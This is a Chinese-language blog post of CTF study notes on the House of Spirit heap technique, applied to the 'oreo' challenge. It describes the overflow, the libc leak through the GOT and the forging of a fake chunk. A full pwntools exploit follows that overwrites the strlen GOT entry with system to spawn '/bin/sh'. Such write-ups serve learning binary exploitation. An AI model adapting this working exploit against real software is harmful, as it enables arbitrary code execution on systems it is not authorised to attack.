Heap 0x05(House of Spirit)

发布时间 2023-07-27 16:15:32作者: Lu0

调试思路以及例题来源于:(https://hollk.blog.csdn.net/article/details/109284167)

House of spirit

似乎是一种特殊却又类似于double free的效果的攻击,之前的double free我们利用的是已有的chunk去free掉发动攻击做任意地址写,这次不一样的是利用的多为fake chunk,我们可以自己伪造chunk发动攻击

所以这个漏洞实际上的核心在于绕过保护

下面这个例题我做的时候有点烧脑,纯是跟着来加上一些调试的,很着急,没什么过程,大伙要看就稍微看看,纯笔记

Ex oreo

静态环节有点懒得放了

但是功能还是很齐全的:

  • 添加时存在一个堆溢出,堆块大小固定为0x40
  • 释放时存在一个uaf(似乎没有用到)
  • 存在一个关键的计数器
  • 计数器后面一个地址位就是一个编辑的指针,size+data(fake)
  • 此题的chunk在最后四个字节放了一个指向前一chunk的指针
    • 因为有这个指针的存在,在打印chunk信息时会全部打印
    • 这个指针可以被溢出

思路

因为可以打印信息+溢出,故可泄露libc

因为堆块大小固定,故可伪造size+data,再用编辑功能实现任意地址写,写got表

DBG

初始我们用溢出把chunk1的指针位写成puts的got表,这样程序会认为下一个chunk是got表,将其打出来,实现了leak libc(算不算一次任意地址读

image

因为我们要用计数器伪造chunk,故计数器个数要等于0x40,即创建共计0x40个chunk
本来所有chunk应该是像一个单向链表一样连在一起的,我们破坏最后一个chunk(第0x40个)的结构,将chunk顺序强制改到fakechunk
顺便编辑功能还是从fakechunk段开始的,这样直接使用编辑功能即可实现伪造

image

伪造之后后续的过程就是再申请,此时安排好data为got表,再用编辑功能修改
这个题我真是不好评价,感觉好烧脑,还有点怪异的样子,这个怪指的是chunk的分配顺序
就这样了,放个exp大伙自己看吧,有点累

EXP

from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux')
#context(log_level='debug')
r=process("./oreo")
elf=ELF("./oreo")

puts_got=elf.got["puts"]

def add(name,des):
    r.sendline("1")
    r.sendline(name)
    r.sendline(des)

def show():
    r.sendline("2")
    r.recvuntil("===================================\n")

def free():
    r.sendline("3")

def message(notice):
    r.sendline("4")
    r.sendline(notice)

payload1 = b'a'*27+p32(elf.got['puts'])
add(payload1,25*b'a')
show()
r.recvuntil("Description: ")
r.recvuntil("Description: ")
putsaddr=u32(r.recv(4))
print(hex(putsaddr))

libc=LibcSearcher("puts",putsaddr)
libc_base=putsaddr-libc.dump("puts")
sysaddr=libc_base+libc.dump("system")
print(hex(sysaddr))
binshaddr=libc_base+libc.dump("str_bin_sh")
print(hex(binshaddr))

sum=1
while sum<0x3f:
    add(b'a'*4,b'b'*4)
    sum+=1
payload2=b'a'*27+p32(0x0804a2a8)    
add(payload2,b'a'*25)

payload3=b"\x00"*0x20+p32(0x40)+p32(0x80)
message(payload3)
#gdb.attach(r)
#pause()
free()
#gdb.attach(r)
#pause()
payload4=p32(elf.got["strlen"])
add(b'a'*20,payload4)
#gdb.attach(r)
#pause()
payload5=p32(sysaddr)+b';/bin/sh\x00'
message(payload5)
gdb.attach(r)
pause()

r.interactive()